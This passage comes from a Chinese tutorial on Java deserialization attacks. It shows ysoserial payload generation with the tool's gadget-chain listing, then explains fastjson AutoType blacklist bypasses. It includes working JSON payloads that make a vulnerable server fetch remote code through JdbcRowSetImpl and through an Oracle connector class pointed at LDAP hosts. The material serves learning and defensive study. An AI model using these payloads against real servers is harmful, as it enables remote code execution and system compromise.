如java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 ‘calc'|base64
快速生成“彈出計算器”的字節碼。
本文只是介紹了CommonsCollections中的一種利用方式,實際還有很多,可參見ysoserial的源碼。
$ java -jar ysoserial.jar Y SO SERIAL? Usage: java -jar ysoserial.jar [payload] '[command]' Available payload types: Payload Authors Dependencies ------- ------- ------------ BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler Hibernate2 @mbechler JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient @mbechler JRMPListener @mbechler JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
fastjson 1.2.25之前版本,只是通過黑名單限制哪些類不能通過@type指定。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl和com.sun.rowset.JdbcRowSetImpl都不在黑名單中,可以直接完成攻擊,代碼參考上文。
fastjson自從1.2.25版本開始,進一步添加了配置項setAutoTypeSupport以及白名單,進一步限制@type的使用,默認該配置項關閉。配置項關閉時,只允許白名單內的類通過@type指定。
此時com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已經在黑名單中了,但是存在繞過方式,不需要setAutoTypeSupport為true。如果先傳入如下JSON進行反序列化:
{ "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }
java.lang.Class是在白名單中的,反序列化后com.sun.rowset.JdbcRowSetImpl就會被加入到白名單中,剩下的就和1.2.24相同了,直接把兩部分整合到一起:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.50.131:9999/Exploit", "autoCommit": true } }
fastjson 1.2.48及之后版本,需要顯式調用**setAutoTypeSupport(true)**才會觸發漏洞:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String jsonStr ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"ldap://127.0.0.1:1389/ExportObject\"}"; JSONObject json = JSON.parseObject(jsonStr5);
上述就是小編為大家分享的怎么從零開始學習fastjson反序列化了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。